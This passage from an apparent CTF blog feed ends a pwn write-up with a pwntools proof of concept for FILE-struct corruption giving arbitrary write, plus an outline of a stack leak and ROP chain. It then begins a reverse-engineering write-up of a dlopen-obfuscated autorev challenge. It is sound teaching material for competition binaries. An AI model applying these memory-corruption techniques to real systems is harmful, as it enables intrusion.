&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we reach this part of the fread functions when f→buf does not have enough data to fulfill the the request of fread, so reads what’s left in f→buf and calls readv to read more data from the file into the user buffer, and in the way it also read’s in f-&amp;gt;buf &lt;code>f-&amp;gt;size-0xc&lt;/code> bytes, we can use this in addition to changing the f-&amp;gt;fd to 0 (stdin), so we can get arb write from stdin, here is a simple pwntools poc that shows how it’s done:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">get_write&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">addr&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">data&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">sz&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x1001&lt;/span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">size&lt;/span> &lt;span style="color:#111">needs&lt;/span> &lt;span style="color:#111">to&lt;/span> &lt;span style="color:#111">be&lt;/span> &lt;span style="color:#111">strictly&lt;/span> &lt;span style="color:#111">bigger&lt;/span> &lt;span style="color:#111">than&lt;/span> &lt;span style="color:#111">what&lt;/span> &lt;span style="color:#111">the&lt;/span> &lt;span style="color:#111">user&lt;/span> &lt;span style="color:#111">wants&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">end&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000024200010100&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000000000000&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000000000000&lt;/span>&lt;span style="color:#111">)&lt;/span>\
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">sz&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">end&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">addr&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span>\
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x000000000042f338&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x000000000042f3d8&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000000000000&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">write_to_FILE&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">payload&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">sendlineafter&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;gt;&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;1&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">call&lt;/span> &lt;span style="color:#111">fread&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">after&lt;/span> &lt;span style="color:#111">this&lt;/span> &lt;span style="color:#111">it&lt;/span> &lt;span style="color:#111">will&lt;/span> &lt;span style="color:#111">read&lt;/span> &lt;span style="color:#f92672">from&lt;/span> &lt;span style="color:#111">stdin&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pay&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;a&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x1000&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">send&lt;/span> &lt;span style="color:#ae81ff">0x1000&lt;/span> &lt;span style="color:#111">bytes&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">the&lt;/span> &lt;span style="color:#111">user&lt;/span> &lt;span style="color:#111">buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pay&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">data&lt;/span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">the&lt;/span> &lt;span style="color:#111">rest&lt;/span> &lt;span style="color:#111">will&lt;/span> &lt;span style="color:#111">be&lt;/span> &lt;span style="color:#111">read&lt;/span> &lt;span style="color:#111">into&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">buf&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pay&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">pay&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;c&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x1000&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4085&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">pay&lt;/span>&lt;span style="color:#111">))&lt;/span> &lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#111">readv&lt;/span> &lt;span style="color:#111">will&lt;/span> &lt;span style="color:#00a8c8">continue&lt;/span> &lt;span style="color:#111">reading&lt;/span> &lt;span style="color:#111">until&lt;/span> &lt;span style="color:#111">it&lt;/span> &lt;span style="color:#111">gets&lt;/span> &lt;span style="color:#111">all&lt;/span> &lt;span style="color:#111">the&lt;/span> &lt;span style="color:#111">bytes&lt;/span> &lt;span style="color:#111">it&lt;/span> &lt;span style="color:#111">requests&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">so&lt;/span> &lt;span style="color:#111">we&lt;/span> &lt;span style="color:#111">add&lt;/span> &lt;span style="color:#111">this&lt;/span> &lt;span style="color:#111">dummy&lt;/span> &lt;span style="color:#111">data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">send&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">pay&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="exploitation">Exploitation:&lt;/h2>
&lt;p>now that we have both arb_read and arb_write, we can just get a stack addr from the binary memory and write into the return address of fread (because we can’t write into the ret of main, since it exits).&lt;/p>
&lt;p>we can get a stack leak by reading the value at &lt;code>&amp;amp;__argv&lt;/code> and then subtract the offset for the return address of fread, after that we just write our rop chain, apparently there are no binaries inside the jail of the docker container, so we have to read the flag.txt directly using the rop chain.&lt;/p>
&lt;p>the final exploit is &lt;a href="https://nothoudaifa.github.io/l3akctf2025-cosmofile/exploit.py">here&lt;/a>.&lt;/p>
&lt;p>running it gives us the flag : &lt;code>L3AK{JU57_b3c4u43_7H3R3_15_N0_vft4bl3_D035N7_m34n_Y0U_5h0uld_61V3_up}&lt;/code>&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/l3akctf2025-cosmofile/</guid><pubDate>Mon, 14 Jul 2025 00:00:00 +0000</pubDate></item><item><title>writeup for rev/r3loads chall from r3ctf 2025</title><link>https://nothoudaifa.github.io/posts/r3ctf2025-r3loads/</link><description>&lt;pre tabindex="0">&lt;code>points: 929 pts
solves: 11 solves
&lt;/code>&lt;/pre>&lt;p>this weekend i played r3ctf, i solved this challenge with @aymenmog, i really enjoyed doing this autorev, so i decided to make this writeup.&lt;/p>
&lt;h2 id="initial-analysis">Initial analysis&lt;/h2>
&lt;p>this is an autorev chall, we are given 11423 executables each one is in it’s directory along with a set of shared libraries, the readme says that each binary takes 8 bytes input and final output of the chall will be a jpg which is the concatenation of 11423 right inputs.&lt;/p>
&lt;p>each part is like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>player@notarch:~/ctfs/r3/r3loads/game/300$ ls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>beatme RRRRRRRRRRRR3R33RRRR3R3R3R3RRR33.so RRRRRRRRRRRR3R33RRRRRRRRRRR33333.so RRRRRRRRRRRR3R3R33333RR3R33333RR.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRR3R3RRRR333RRR.so RRRRRRRRRRRR3R33RRRR3R3R3R3RRRR3.so RRRRRRRRRRRR3R33RRRRRRRRRRR333R3.so RRRRRRRRRRRR3R3R33333RR3R3333R3R.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRR3R3RRRR33R33R.so RRRRRRRRRRRR3R33RRRRR33R3R33333R.so RRRRRRRRRRRR3R33RRRRRRRRRRR33R33.so RRRRRRRRRRRR3R3R33333RR3R3333RRR.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRR3R3RRRR33R3RR.so RRRRRRRRRRRR3R33RRRRR33R3R3333RR.so RRRRRRRRRRRR3R33RRRRRRRRRRR33RR3.so RRRRRRRRRRRR3R3R33333RR3R333R33R.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR33333R33RRR3.so RRRRRRRRRRRR3R33RRRRR33R3R333R3R.so RRRRRRRRRRRR3R33RRRRRRRRRRR3R333.so RRRRRRRRRRRR3R3R3333R3R33RRR333R.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR33333R3R3333.so RRRRRRRRRRRR3R33RRRRR33R3R333RRR.so RRRRRRRRRRRR3R33RRRRRRRRRRR3R3R3.so RRRRRRRRRRRR3R3R3333R3R33RRR33RR.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR33333R3R33R3.so RRRRRRRRRRRR3R33RRRRR33R3R33R33R.so RRRRRRRRRRRR3R3R3333333RRR33RRR3.so RRRRRRRRRRRR3R3R3333R3R33RRR3R3R.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR33333R3R3R33.so RRRRRRRRRRRR3R33RRRRR33R3R33R3RR.so RRRRRRRRRRRR3R3R3333333RRR3R3333.so RRRRRRRRRRRR3R3R3333R3R33RRR3RRR.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR33333R3R3RR3.so RRRRRRRRRRRR3R33RRRRRR333333R333.so RRRRRRRRRRRR3R3R3333333RRR3R33R3.so RRRRRRRRRRRR3R3R3333R3R33RRRR33R.so
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RRRRRRRRRRRR3R33RRRR3R3R3R3RR3R3.so RRRRRRRRRRRR3R33RRRRRR333333R3R3.so RRRRRRRRRRRR3R3R3333333RRR3R3R33.so RRRRRRRRRRRR3R3R3333RR3RR33RRRRR.so
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>running it gives us:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>player@notarch:~/ctfs/r3/r3loads/game/300$ ./beatme
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Weclome to r3ctf 2025, can you beat me? 300/11423
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Input something:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>aaaabbbb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Try again!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we will first starting by reversing a binary, then see what we can automate and script it.&lt;/p>
&lt;h2 id="the-rev-part">the “rev” part:&lt;/h2>
&lt;p>loading one executable in ida we get &lt;a href="https://nothoudaifa.github.io/r3ctf-r3loads/main-decomp.c">this&lt;/a> (variable declarations removed for clarity), this main function can be separated into 3 parts:&lt;/p>
&lt;h4 id="part-1-of-main-loading-the-functions">Part 1 of main: loading the functions&lt;/h4>
&lt;p>the first thing it does is load 10 functions (which will be used later) from the dynamic libraries in the same directory, it uses dlopen to load the library and dlsym to get the function from it, i will show how i got what one function does:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">handlee&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">dlopen&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;./RRRRRRRRRRRRRRRRRRR33RRR33R3RRRR.so&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#f92672">!&lt;/span>&lt;span style="color:#111">handlee&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">dlerror&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">qword_7048&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">dlsym&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">handlee&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#34;RRRRRRRRRRRRRRRRRRR33RRR33R3RRR3&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>opening this function in binja we get the following:&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_18-50-52.png"
alt="Screenshot from 2025-07-07 18-50-52.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>it loads another function from another library and calls it, while only operating on arg3.&lt;/p>
&lt;p>it seems that it keeps doing this a few times until it reaches the last function which defines the operation.&lt;/p>
&lt;p>the path (in this case it only calls dlsym one time):&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_18-52-16.png"
alt="Screenshot from 2025-07-07 18-52-16.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>we can see in the end it returns arg1 - arg2, and also it does not use the third argument, this actually is the case for all the other functions, arg3 is never used, it is likely used as an obfuscation mechanism so we can ignore it.&lt;/p>
&lt;p>the functions in order are (note that all arguments and returns are unsigned ints):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">xor_first_two&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">read_integer_at_offset&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">((&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">arg1&lt;/span>&lt;span style="color:#111">)[&lt;/span>&lt;span style="color:#111">arg2&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">add_at_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">arg1&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">and_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">add_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">subtract_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">mult_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">or_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">integer_div_arg1_arg2&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#111">arg1&lt;/span> &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#111">arg2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">bitwise_not&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#f92672">~&lt;/span>&lt;span style="color:#111">arg1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>after reversing all functions and renaming them we move to the second part.&lt;/p>
&lt;h4 id="part-2-of-main-setting-the-key">Part 2 of main: Setting the key&lt;/h4>
&lt;p>it’s code after renaming the functions is accessible here, the first thing i noticed about this part is that it is all just operations on constants, it seems to be writing four unsigned ints in v91, we can extract it using gdb by setting a breakpoint just before the call to sub_1630, then inspecting the memory at rsi.&lt;/p>
&lt;h4 id="part-3-of-main-handling-input">Part 3 of main: Handling input&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Weclome to r3ctf 2025, can you beat me? 1/11423&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Input something: &amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">buf&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">read&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">8uLL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">sub_1630&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v91&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">buf&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0xF06203EC3D2C5B74LL&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;You win!&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Try again!&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this part read 8 bytes, then calls sub_1630 on it with v91 which is constant and likely used as a key to some encryption on buf.&lt;/p>
&lt;h3 id="reversing-the-encryption-function">reversing the encryption function:&lt;/h3>
&lt;p>the encrypt function decompilation is &lt;a href="https://nothoudaifa.github.io/r3ctf-r3loads/encrypt-decomp.c">here&lt;/a>, it seems very scary, but we will go at it bit by bit till we understand it.&lt;/p>
&lt;p>at first, it takes our 8 bytes input and splits it into two unsigned ints, &lt;code>first&lt;/code> and &lt;code>second&lt;/code>, then it sets &lt;code>S&lt;/code> a State array (similar to rc4) using the key (this array is only read from), then it loops 0x478 times while doing some operations on &lt;code>first&lt;/code> and &lt;code>second&lt;/code>, in the end it writes them back to our input.&lt;/p>
&lt;p>now before i started reversing this function, i noticed that there are four regions of code that only use constant values, i marked them on the code above, here is an example one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">v162&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v159&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">and_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v154&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3879220815LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1303544047LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1673289997LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v148&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">or_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">119385303LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3231329148LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">141954786LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
